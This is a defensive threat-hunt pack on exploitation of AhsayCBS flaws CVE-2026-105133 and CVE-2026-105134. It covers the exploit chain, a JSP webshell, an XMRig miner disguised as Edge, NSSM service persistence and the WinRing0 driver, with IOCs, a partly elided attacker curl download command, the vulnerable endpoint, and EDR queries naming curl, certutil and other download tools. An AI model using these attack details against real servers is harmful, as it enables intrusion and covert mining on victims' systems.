AhsayCBS CVE-2026-105133 + CVE-2026-105134: Webshell, XMRig Disguised as Edge, NSSM Service and WinRing0 Driver
Executive Summary
Attacker objective: remote code execution as NT AUTHORITY\SYSTEM on internet-exposed AhsayCBS backup management servers, then covert Monero mining. Huntress (published 2026-10-08) observed exploitation starting 2026-10-07 at 23:20:15 UTC and counted five organizations targeted as of 2026-10-08. AhsayCBS is used mainly by MSPs and system integrators, so one compromised console can sit in front of many customers' backups.
How it works: two flaws are chained. CVE-2026-105133 (medium, improper authentication in checkSysPwd, com/ahsay/obs/api/ApiStructsAction.java) lets a random token substitute for valid credentials. CVE-2026-105134 (critical, OS command injection through the random argument of /rps/api/json/UpdateReceivers.do in the Replication Receiver component) then gives code execution. After exploitation the actor configured a malicious replication receiver and dropped a JSP webshell into the web-served application directory. Further payloads came from an Alibaba Cloud OSS bucket via curl.exe and certutil.exe launched by the service process cbssvcX64.exe.
Post-exploitation: an XMRig miner named edge.exe and a renamed NSSM service wrapper named msedge.exe run from %TEMP% under a service called MicrosoftEdgeUpdateSvc (SYSTEM). Taskgmr.ps1 stops that service whenever Task Manager opens and kills Task Manager at 18:00 host-local time or after an hour open overnight. In one incident the legitimate but vulnerable WinRing0x64.sys kernel driver was loaded so the miner could reach hardware directly.
Patch status: no vendor patch was available at disclosure. NVD and INCIBE-CERT record the flaws against AhsayCBS up to 10.3.2 and say 10.3.4 resolves them, but Huntress updated its advisory on 2026-10-08 to state that 10.3.4 is also affected. This pack follows the Huntress finding (versions through 10.3.4) and flags the conflict in section 2.
Defender angle: the durable signal is a parent/child relationship, not an indicator: cbssvcX64.exe should almost never launch curl.exe, certutil.exe or a shell (Q1, Q2). Behind it sit the Edge masquerade (Q5, Q6), the persistence service (Q7, Q8), Temp staging (Q9) and pool traffic (Q11, Q12). The webshell write itself and the HTTP request to UpdateReceivers.do are not visible to a host sensor; the Coverage Map flags both as gaps and section 7 gives the native checks.
Defender priority: (1) take the AhsayCBS management interface off the internet or behind VPN / trusted-IP allow-listing today, because there is no patch (section 12, I1); (2) run Q1, Q2, Q5 and Q7 over 30 days on every AhsayCBS host; (3) if any IOC or query hits, Huntress advises a full host re-image from a trusted backup, since secondary backdoors were hidden.
Source Review & Web Hunter Notes
| Tier | Source | Key finding | Carry forward |
|---|---|---|---|
| 1 | Huntress: Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer (2026-10-08) | Primary research. Exploit chain, timeline, payload infrastructure, process behavior, persistence, Taskgmr.ps1 behavior, WinRing0 driver, IOC table, ATT&CK mapping, update that 10.3.4 is affected. | Yes. Source of every atomic IOC and every campaign behavior. Single vendor, so every indicator ships detect. Snapshot 01-huntress-advisory.txt. |
| 1 | Huntress threat-intel repository: AhsayCBS_XMRig_Miner Sigma rules (2026-10-08) | Four post-exploitation Sigma rules by the same vendor: child of cbssvcX64/X86 with the documented baseline, Edge binary with --daemonized, Task Manager aware service control, WinRing0 plus URL on a command line. The notes also name an EdgeUpdateHelper service. | Yes. Baseline exclusions for Q1, discriminators for Q4, Q5, Q14. Same vendor as the advisory, so it is not an independent source for any IOC. Snapshot 05-huntress-sigma-rules.txt. |
| 1 | NVD: CVE-2026-105134 | OS command injection via the random argument of /rps/api/json/UpdateReceivers.do (Replication Receiver), CVSS 4.0 9.3 critical, public exploit, versions up to 10.3.2. | Yes. Vulnerability detail. Retrieved through the NVD JSON API because the HTML page needs JavaScript. Snapshot 03-nvd-cve-105134.txt. |
| 1 | NVD: CVE-2026-105133 | Improper authentication in checkSysPwd via the random argument, CVSS 4.0 5.5 medium, public exploit, versions up to 10.3.2. | Yes. Snapshot 04-nvd-cve-105133.txt. |
| 1 | INCIBE-CERT: CVE-2026-105134 | Independent national CERT record: CWE-77 command injection, same CVSS vectors and affected range as NVD. | Partial. Corroborates the CVE detail; republishes the CNA text. Snapshot 06-incibe-cert-cve-105134.txt. |
| 2 | SecurityWeek: Unpatched AhsayCBS Vulnerabilities Exploited in the Wild (2026-10-09) | Secondary coverage summarizing Huntress: chained flaws, five organizations, disguised XMRig, NSSM service persistence, WinRing0x64.sys, mitigation. | Partial. Corroborates behavior and the 10.3.4 update; it adds no indicators, so it is not an independent source for any IOC. Snapshot 02-securityweek.txt. |
| 1 | MITRE ATT&CK: T1190, T1505.003, T1543.003, T1036.005, T1496.001 | Technique definitions and mitigation M-codes. | Yes. Snapshots 07 to 11. |
| 1 | Microsoft Learn: Attack surface reduction rules reference | Rule "Block abuse of exploited vulnerable signed drivers", GUID, audit action type, and the limit that it does not stop an already-present driver loading. | Yes. Authority for hardening N1. Snapshot 12-ms-asr-rules-reference.txt. |
Web Hunter decisions and discrepancies
- Affected-version conflict. NVD and INCIBE-CERT say AhsayCBS up to 10.3.2 and that upgrading to 10.3.4 resolves both flaws. Huntress states 10.3.4 is also vulnerable (update 2026-10-08, 6 pm ET), and SecurityWeek repeats that. The pack treats every version through 10.3.4 as exposed because the vendor with in-the-wild telemetry is the more recent and more specific source. Confirm against the Ahsay advisory when one appears; none was found.
- Sources that could not be used. IT Security Guru's article was blocked by a Cloudflare bot challenge when fetched. The challenge was not bypassed and the article is not cited. The NVD HTML pages are JavaScript-only, so the NVD JSON API was used instead.
- Single-source indicators. Every atomic IOC comes from the Huntress advisory alone. SecurityWeek, the Huntress Sigma repository and the CVE records add no independent indicator. Nothing in this pack ships at prevent.
- Legitimate-component caveats.
WinRing0x64.sysis a legitimate OpenLibSys driver shipped by real hardware tools, andxmr.kryptex.networkis a public mining pool. Both are hunted by context and shipped at detect, never prevent. The source supplies no hash for the driver, and none is invented here. - Unverified from sources. The Huntress text gives no hash for
config.jsonor the webshell, no webshell filename or directory, and no default AhsayCBS port or install path. The pack uses placeholders and behavior rather than guessing them. - Defensive extras ignored. Fetched pages carried navigation, newsletter and promotional text. None was addressed to this agent, none asked for any action, and none was used.
- No injected instructions. Every fetched page was scanned for text directed at an automated agent. None was found.
Hunt Brief & Attack Chain
Hypotheses (ordered by fidelity)
| ID | Hypothesis | MITRE | Telemetry (CrowdStrike event) | Confidence |
|---|---|---|---|---|
| H1 | The AhsayCBS service process launches a download tool, shell or recon utility. | T1190, T1505.003, T1105 | Process creation with parent and command line (CrowdStrike: ProcessRollup2) | HIGH |
| H2 | An Edge-named binary, or a child of the NSSM wrapper, runs from a user-writable folder. | T1036.005, T1543.003 | Process creation with image path (CrowdStrike: ProcessRollup2) | HIGH |
| H3 | A service named like Edge Update is created, or any service image sits in Temp. | T1543.003, T1036.004 | Service creation (CrowdStrike: CreateService) | HIGH |
| H4 | Payloads or the WinRing0 driver are staged in Temp, or fetched from the campaign bucket. | T1105, T1608.001 | PE file write (CrowdStrike: PeFileWritten, NewExecutableWritten); command line | HIGH |
| H5 | A host talks to the Kryptex pool or resolves the pool or bucket name. | T1571, T1496.001 | Outbound connection (CrowdStrike: NetworkConnectIP4); DNS lookup (CrowdStrike: DnsRequest) | HIGH |
| H6 | PowerShell runs Taskgmr.ps1 or a Task Manager aware service-control script. | T1564, T1057, T1124 | Process creation with command line (CrowdStrike: ProcessRollup2) | MEDIUM |
| H7 | Published hashes or exploitation source addresses appear on the AhsayCBS host. | T1190, T1105 | Process and file events; inbound and outbound connections (CrowdStrike: NetworkReceiveAcceptIP4) | MEDIUM |
| H8 | Two or more of the above co-occur on one host. | multiple | multiple | HIGH |
Attack chain
| Step | Behavior | Telemetry | Query |
|---|---|---|---|
| 1 Auth bypass | CVE-2026-105133: a random token substitutes valid credentials in checkSysPwd | Web server access logs only; outside endpoint telemetry | GAP (N1) |
| 2 RCE | CVE-2026-105134: OS command injection through /rps/api/json/UpdateReceivers.do, executes as SYSTEM | Web access logs; child processes of the service | Q1, Q2, Q13 |
| 3 Webshell | Malicious replication receiver configured; JSP webshell dropped in the web-served application directory | No verified file-write event for .jsp; filesystem sweep and web logs | GAP (N2) |
| 4 Recon and download | cbssvcX64.exe runs curl -sk -o ...\Temp\Taskgmr.ps1 http://... --max-time 60 and certutil.exe for the driver | Process creation with parent and command line (CrowdStrike: ProcessRollup2) | Q1, Q2, Q3, Q4 |
| 5 Staging | Taskgmr.ps1, edge.exe, msedge.exe, config.json, WinRing0x64.sys land in Temp | PE file write (CrowdStrike: PeFileWritten, NewExecutableWritten) | Q9, Q10 |
| 6 Persistence | PowerShell edits config.json; service MicrosoftEdgeUpdateSvc runs the NSSM wrapper msedge.exe from Temp as SYSTEM | Service creation (CrowdStrike: CreateService); process creation | Q5, Q6, Q7, Q8 |
| 7 Evasion | Taskgmr.ps1 stops the service while Task Manager is open, restarts it after, kills Task Manager at 18:00 host-local time or after an hour open overnight | Process creation with command line; script-block content outside endpoint process telemetry | Q14; GAP for script content |
| 8 BYOVD | WinRing0x64.sys loaded so the miner gets kernel-level hardware access | File write visible; driver load event not used (no verified driver-load event in the reference) | Q4, Q9; GAP for the load |
| 9 Mining | edge.exe (XMRig) connects to xmr.kryptex.network (51.195.127.124) on TCP 8029 | Outbound connection (CrowdStrike: NetworkConnectIP4); DNS lookup (CrowdStrike: DnsRequest) | Q11, Q12 |
Hunt hint: start from the parent. Everything before step 5 happens inside or beneath cbssvcX64.exe, so one parent-image filter (Q1) is the broadest net and Q2 is the sharpest. Q15 scores hosts that show two or more later-stage signals even if the service-child event was missed.
Consolidated IOC Table
Every atomic indicator below appears in the saved snapshot 01-huntress-advisory.txt. All are detect or hunt. None is set to prevent: every value is single-sourced to Huntress (SecurityWeek and the CVE records add no independent indicator), and the two reusable components (WinRing0x64.sys and the Kryptex pool) are legitimate things abused by many actors.
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| SHA-256 | 05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034 | MEDIUM | detect | msedge.exe, modified NSSM service wrapper | 2027-04-10 |
| SHA-256 | 4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d | MEDIUM | detect | edge.exe, XMRig Monero miner | 2027-04-10 |
| SHA-256 | 481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21 | MEDIUM | detect | Taskgmr.ps1, PowerShell Task Manager evasion script | 2027-04-10 |
| Domain | imagefiles-backup.oss-ap-southeast-7.aliyuncs.com | MEDIUM | detect | Payload hosting bucket (Alibaba Cloud OSS). Alibaba OSS is a legitimate service, so only this bucket name is listed, never the parent domain | 2027-04-10 |
| Domain | xmr.kryptex.network | MEDIUM | detect | Mining pool. Kryptex is a public pool: a hit means mining software of any origin, not necessarily this actor | 2027-04-10 |
| IPv4 | 51.195.127.124 | MEDIUM | detect | Pool IP, TCP 8029 | 2027-04-10 |
| IPv4 | 177.4.12.11 | MEDIUM | detect | Exploitation source address (AS140227 Hong Kong, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| IPv4 | 38.60.252.110 | MEDIUM | detect | Exploitation source address (AS154177 Vietnam, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| IPv4 | 107.191.47.199 | MEDIUM | detect | Exploitation source address (AS20473 France, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| IPv4 | 185.220.236.49 | MEDIUM | detect | Exploitation source address (AS38136 Taiwan, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| IPv4 | 104.234.26.10 | MEDIUM | detect | Exploitation source address (AS134677 United States, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| IPv4 | 123.202.208.37 | MEDIUM | detect | Exploitation source address (AS9269 Hong Kong, per Huntress). Perishable; shared hosting ranges | 2027-04-10 |
| URL path | /javas/Office/win/Taskgmr.ps1 | HIGH | hunt | On the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import) | n/a |
| URL path | /javas/Office/win/edge.exe | HIGH | hunt | On the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import) | n/a |
| URL path | /javas/Office/win/msedge.exe | HIGH | hunt | On the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import) | n/a |
| URL path | /javas/Office/win/config.json | HIGH | hunt | On the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import) | n/a |
| URL path | /javas/Office/win/WinRing0x64.sys | HIGH | hunt | On the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import) | n/a |
| Pool login | krxYMRN97D/creativejs on xmr.kryptex.network:8029 | MEDIUM | hunt | Pool user and unique identifier per Huntress. Not visible in endpoint telemetry unless it appears on a command line or in config.json | n/a |
| Service | MicrosoftEdgeUpdateSvc (also EdgeUpdateHelper per Sigma notes) | HIGH | hunt | SYSTEM service, image msedge.exe in Temp (Q7). Real Microsoft services are edgeupdate / edgeupdatem | n/a |
| File names | edge.exe, msedge.exe, Taskgmr.ps1, config.json, WinRing0x64.sys | HIGH | hunt | Hunt by name plus location (Temp). WinRing0x64.sys is a legitimate OpenLibSys driver and msedge.exe is a real Edge name: never block by name | n/a |
| Process | cbssvcX64.exe / cbssvcX86.exe parent of curl.exe, certutil.exe | HIGH | hunt | The AhsayCBS service as parent of download tools: highest-value behavior (Q1, Q2) | n/a |
| Endpoint | /rps/api/json/UpdateReceivers.do | HIGH | hunt | Vulnerable URL path in web server logs (native hunt N1) | n/a |
Not shipped: any hash for config.json, the JSP webshell or WinRing0x64.sys (the source gives none), and any related-cluster indicator. The pool login is hunt-only context.
Affected Surface & Telemetry Matrix
| Surface | Required telemetry | Priority | Gap risk |
|---|---|---|---|
| Windows servers running AhsayCBS (management console exposed to the internet) | Process creation with parent and command line, PE file writes, service creation, network with process context (CrowdStrike: ProcessRollup2, PeFileWritten, CreateService, NetworkConnectIP4) | CRITICAL | The webshell file write and the HTTP request to the vulnerable endpoint are outside endpoint telemetry |
| AhsayCBS web server access logs (Tomcat) and application logs | Requests to /rps/api/json/UpdateReceivers.do, replication receiver configuration changes | HIGH | Log location and retention are install-specific and not given by the sources; auditing may be thin |
| Perimeter firewall, reverse proxy, WAF | Inbound connection logs to the console ports; outbound logs to the mining pool and the OSS bucket | HIGH | Source addresses are perishable and single-sourced; pool and bucket names resolve to shared services |
| DNS resolver logs | Lookups of xmr.kryptex.network and the bucket host | MEDIUM | Endpoint DNS coverage depends on sensor version |
| Windows event logs | System 7045 (service installed), Security 4688 with command line, driver load events | MEDIUM | Command-line auditing is off by default (playbook P2) |
| Backup data and credentials held by the console | Account and replication-receiver inventory | MEDIUM | The sources do not state what the actor read; treat stored credentials as exposed until reviewed (inference, not reported) |
| Linux / macOS / cloud workloads | None required | LOW | The reported payloads and persistence are Windows-specific |
ATT&CK Mapping
| Tactic | Technique | Name | Observed behavior | Query | Mitigations |
|---|---|---|---|---|---|
| Resource Development | T1608.001 | Stage Capabilities: Upload Malware | Payloads staged on an Alibaba Cloud OSS bucket | Q3, Q12 | Not mapped from a saved page |
| Initial Access | T1190 | Exploit Public-Facing Application | CVE-2026-105133 auth bypass chained with CVE-2026-105134 RCE | Q1, Q2, Q13 (indirect) | M1048, M1050, M1037, M1035, M1030, M1026, M1051, M1016 |
| Execution | T1059.001 / T1059.003 | PowerShell / Windows Command Shell | Taskgmr.ps1; service-spawned curl and certutil | Q2, Q3, Q14 | Not mapped from a saved page |
| Execution | T1569.002 | System Services: Service Execution | msedge.exe wrapper run as SYSTEM via the service | Q5, Q6, Q7 | Not mapped from a saved page |
| Persistence | T1505.003 | Server Software Component: Web Shell | Malicious replication receiver and JSP webshell in the application directory | Q1, Q2 (children); file write is a GAP | M1042, M1018 |
| Persistence / Privilege Escalation | T1543.003 | Create or Modify System Process: Windows Service | Service MicrosoftEdgeUpdateSvc keeps edge.exe alive as SYSTEM | Q6, Q7, Q8 | M1047, M1040, M1045, M1028, M1018 |
| Defense Evasion | T1036.004 / T1036.005 | Masquerading: Task or Service / Match Legitimate Name or Location | Service named like Edge Update; NSSM renamed msedge.exe, XMRig renamed edge.exe | Q5, Q6, Q7 | M1045, M1038, M1022 (T1036.005) |
| Defense Evasion | T1564 | Hide Artifacts | Taskgmr.ps1 stops the service while Task Manager is open | Q14 | Not mapped from a saved page |
| Discovery | T1057 / T1124 | Process Discovery / System Time Discovery | Taskgmr.ps1 polls for Task Manager and reads local time with Get-Date | Q14 | Not mapped from a saved page |
| Command and Control | T1105 / T1071.001 / T1571 | Ingress Tool Transfer / Web Protocols / Non-Standard Port | curl and certutil downloads over HTTP; pool on TCP 8029 | Q2, Q3, Q4, Q9, Q11, Q12 | Not mapped from a saved page |
| Impact | T1496.001 | Resource Hijacking: Compute Hijacking | XMRig miner plus WinRing0x64.sys for kernel hardware access | Q4, Q5, Q6, Q9, Q11, Q12, Q15 | MITRE: not easily mitigated with preventive controls (behavioral detection) |
Mitigation M-codes for T1190, T1505.003, T1543.003, T1036.005 and T1496.001 were read from the saved MITRE snapshots (07 to 11). Rows marked "Not mapped from a saved page" were not checked against a saved MITRE page and carry no M-code. The technique IDs come from the Huntress mapping.
Native Audit-Log Hunts
Hunts that need no CQL. The first two cover the stages a host sensor cannot see.
N1 · Web server log hunt for the vulnerable endpoint
In the AhsayCBS web server access log (location is install-specific; check the AhsayCBS logs folder or your reverse proxy), search for requests to /rps/api/json/UpdateReceivers.do, especially from addresses that are not your replication peers, with unusual values in a random parameter, and any such request that precedes a child process of the service. Also review replication-receiver configuration in the console for receivers you did not create.
N2 · Webshell sweep (read-only)
Look for recently created .jsp files in the web-served application directory. Replace the placeholder with the path of your own install; the sources do not name the directory.
# Read-only: recent .jsp files under the AhsayCBS web application directory $cbs = 'REPLACE_WITH_AHSAYCBS_INSTALL_PATH' Get-ChildItem -Path $cbs -Recurse -Include *.jsp -Force -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending | Select-Object -First 50 FullName, Length, CreationTime, LastWriteTime # Compare against the vendor-shipped file list or a known-good backup; any .jsp newer than the last upgrade is suspect.
N3 · Windows event cross-reference
- System 7045 (service installed): service name
MicrosoftEdgeUpdateSvcorEdgeUpdateHelper, image path in a Temp folder, account LocalSystem. - Security 4688 (needs command-line auditing, playbook P2): parent
cbssvcX64.exewithcurlorcertutil; command line containingaliyuncs.comorWinRing0. - Sysmon (if deployed): Event ID 1 with ParentImage ending
\cbssvcX64.exe; Event ID 6 (driver loaded) forWinRing0x64.sysfrom a Temp path; Event ID 11 foredge.exe/msedge.exein Temp. - PowerShell Operational 4104 (script block logging, if on):
taskmgrtogether withStop-ServiceandStart-Service(Huntress's own logic).
N4 · Network hunt
In firewall or NetFlow data, search for TCP 8029 from servers, for the pool IP, and for plain HTTP (port 80) from the AhsayCBS host to aliyuncs.com addresses. A backup server has no business reaching a mining pool. Resolver logs: xmr.kryptex.network and the bucket host.
N5 · Resource and performance check
Mining is loud on CPU. Compare AhsayCBS host CPU history against its baseline and look for sustained high CPU from a process named edge.exe or a Temp-resident msedge.exe. Note that Taskgmr.ps1 deliberately hides this when someone opens Task Manager, so use remote tooling rather than a local session.
Hunt Queries: CrowdStrike CQL and SentinelOne PowerQuery
Use your tenant's own address. SentinelOne does not document a link that pre-fills a query, so each "Copy & open SentinelOne" button copies the query and opens this console: paste it into PowerQuery.
Events and fields were checked against the crowdstrike-logscale-v3 references. Queries marked "validate in tenant" depend on CreateService fields (ServiceDisplayName, ServiceImagePath) or on NetworkReceiveAcceptIP4, which are not documented in the local reference: run each event filter alone with count() over 24 hours first (gate G1). No query uses a driver-load, module-load, mutex or script-content event, because none is verified in the reference. File basenames are matched with FileName regexes and slashes inside regexes are escaped.
Looks for: The AhsayCBS service process (cbssvcX64.exe or cbssvcX86.exe) hosts its Tomcat web app in-process, so a JSP webshell or the UpdateReceivers.do injection runs commands as a direct child of the service. This query returns any child outside the baseline Huntress documents (7za, rotatelogs, conhost, java, startup probes, the V7 migration batch). FP: none expected on a stable install; a new AhsayCBS release that adds startup commands is the only known cause.
Known limitations and deployment notes
- PowerQuery: A child launched by a process the agent did not observe starting is not captured.
- PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
- PowerQuery assumes: tgt.process.image.sha256 may be unpopulated on some tenants and is a display column only.
- PowerQuery assumes: The CQL regexes are case-insensitive; PowerQuery matches is case-insensitive by default, and the name allowlist uses in:anycase.
// HUNT: any unexpected child of the AhsayCBS service process (webshell / RCE execution) // MITRE: T1190, T1505.003, T1059.003 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName and CommandLine // SOURCE: Huntress advisory + Huntress Sigma rule "Unexpected Child Process from AhsayCBS Service" // FALSE POSITIVES: AhsayCBS releases that add new startup or maintenance commands // TUNING: if a release adds a benign startup command, add one more | CommandLine!=/.../i line for that exact string; never exclude by FileName alone // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i | FileName!=/^(7za|rotatelogs|conhost|java|cbssvcX64|cbssvcX86)\.exe$/i | CommandLine!=/^("?([a-z]:\\windows\\system32\\)?cmd\.exe"? \/c (ipconfig \/all|ver|uname -i)|ipconfig +\/all)\s*$/i | CommandLine!=/^cmd\.exe \/c bin\\MigrateV7\.bat >\.\\MigrateV7\.log\s*$/i | table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
6 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namesrc.process.name: Creator or acting processtgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.user: src.process.user
Optional fields
tgt.process.image.sha256: tgt.process.image.sha256
Readiness test
event.type = 'Process Creation' endpoint.name = * src.process.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline
// HUNT: any unexpected child of the AhsayCBS service process (webshell / RCE execution)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1190, T1505.003, T1059.003
// CONF: high | FP: low
// FALSE POSITIVES: AhsayCBS releases that add new startup or maintenance commands
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate as the CQL: creator is the AhsayCBS service binary, child not on the benign allowlist, two exact benign command lines excluded. Lineage re-mapped for SentinelOne.
// REQUIRES: SentinelOne Process Creation telemetry on the AhsayCBS server
// TUNING: If a release adds a benign startup command, add one more !(tgt.process.cmdline matches ...) line for that exact string; never exclude by process name alone.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: A child launched by a process the agent did not observe starting is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' src.process.name matches '^cbssvcX(64|86)\\.exe$'
!(tgt.process.name in:anycase ('7za.exe','rotatelogs.exe','conhost.exe','java.exe','cbssvcX64.exe','cbssvcX86.exe'))
!(tgt.process.cmdline matches '^("?([a-z]:\\\\windows\\\\system32\\\\)?cmd\\.exe"? /c (ipconfig /all|ver|uname -i)|ipconfig +/all)\\s*$')
!(tgt.process.cmdline matches '^cmd\\.exe /c bin\\\\MigrateV7\\.bat >\\.\\\\MigrateV7\\.log\\s*$')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.sha256, agent.uuid
| limit 200Looks for: The single highest-value detection in this campaign. Huntress first noticed the intrusion from curl.exe and certutil.exe children of the AhsayCBS service downloading payloads into %TEMP%. This narrower query fires on the download and recon tools specifically, so it can be promoted to a Custom IOA. FP: none expected; AhsayCBS has no reason to launch these.
Known limitations and deployment notes
- PowerQuery: A child launched by a process the agent did not observe starting is not captured.
- PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
- PowerQuery assumes: Name matching uses in:anycase to reproduce the CQL case-insensitive regex.
// HUNT: AhsayCBS service process launching curl / certutil / PowerShell / recon utilities // MITRE: T1190, T1105, T1059.001, T1059.003 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName // SOURCE: Huntress advisory (cbssvcX64.exe spawned curl and certutil to drop payloads in %TEMP%) // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i | FileName=/^(curl|certutil|powershell|pwsh|bitsadmin|wget|mshta|sc|schtasks|whoami|systeminfo|net|net1|nltest|tasklist)\.exe$/i | table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
6 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host namesrc.process.name: Creator or acting processtgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.user: src.process.user
Optional fields
tgt.process.image.sha256: tgt.process.image.sha256
Readiness test
event.type = 'Process Creation' endpoint.name = * src.process.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, src.process.name, tgt.process.name, tgt.process.cmdline
// HUNT: AhsayCBS service process launching curl / certutil / PowerShell / recon utilities
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1190, T1105, T1059.001, T1059.003
// CONF: high | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: AhsayCBS service as creator and a download, shell or recon utility as the child. Lineage re-mapped for SentinelOne.
// REQUIRES: SentinelOne Process Creation telemetry on the AhsayCBS server
// TUNING: No exclusions expected; investigate every hit.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: A child launched by a process the agent did not observe starting is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' src.process.name matches '^cbssvcX(64|86)\\.exe$'
tgt.process.name in:anycase ('curl.exe','certutil.exe','powershell.exe','pwsh.exe','bitsadmin.exe','wget.exe','mshta.exe','sc.exe','schtasks.exe','whoami.exe','systeminfo.exe','net.exe','net1.exe','nltest.exe','tasklist.exe')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.sha256, agent.uuid
| limit 200Looks for: A command line that names the campaign bucket imagefiles-backup.oss-ap-southeast-7.aliyuncs.com, its /javas/Office/win/ path, or Taskgmr.ps1. The observed command is curl -sk -o ...\Temp\Taskgmr.ps1 http://... --max-time 60. The path is matched as well as the host so a re-hosted copy of the same layout still fires. FP: none expected.
Known limitations and deployment notes
- PowerQuery: Downloads made by a process that does not carry the URL on its own command line are not captured.
- PowerQuery assumes: contains is case-insensitive by default, matching the CQL /i regex.
- PowerQuery assumes: The bucket name is single-sourced from the vendor advisory.
// HUNT: command line fetching from the campaign OSS bucket / path, or naming Taskgmr.ps1 // MITRE: T1105, T1608.001, T1059.003 // CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine // SOURCE: Huntress advisory (curl download command, payload URLs); bucket name is single-sourced // FALSE POSITIVES: none expected // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/(imagefiles-backup\.oss-ap-southeast-7\.aliyuncs\.com|\/javas\/Office\/win\/|Taskgmr\.ps1)/i | table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeevent.time: Event timeendpoint.name: Host nametgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator or acting processsrc.process.user: src.process.user
Readiness test
event.type = 'Process Creation' endpoint.name = * tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.type, event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: command line fetching from the campaign OSS bucket / path, or naming Taskgmr.ps1
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1105, T1608.001, T1059.003
// CONF: high | FP: low
// FALSE POSITIVES: none expected
// EQUIVALENCE: equivalent-with-schema-assumptions - Same command-line substring test for the campaign OSS bucket, the /javas/Office/win/ path and Taskgmr.ps1. contains is used so the domain stays verbatim.
// REQUIRES: SentinelOne Process Creation telemetry with command lines
// TUNING: No exclusions expected.
// LOOKBACK: 30d; set the console time range or the query window to cover the exposure period
// CONFIGURATION: No lookup tables or custom detection objects required; paste the query into Event Search or a scheduled PowerQuery rule.
// KNOWN GAPS: Downloads made by a process that does not carry the URL on its own command line are not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation'
tgt.process.cmdline contains ('imagefiles-backup.oss-ap-southeast-7.aliyuncs.com','/javas/Office/win/','Taskgmr.ps1')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, agent.uuid
| limit 200Looks for: The vulnerable WinRing0x64.sys driver was fetched with the built-in certutil.exe into the user Temp folder. Hardware-monitoring tools ship the driver inside their installers, so a command line that names WinRing0 and a URL is the discriminator (this mirrors Huntress's own Sigma logic). FP: an administrator manually downloading a hardware-monitoring driver.
Known limitations and deployment notes
- PowerQuery: A driver fetched by a process that hides the URL from its command line is not captured.
- PowerQuery assumes: contains and matches are case-insensitive by default, matching the CQL /i regex.
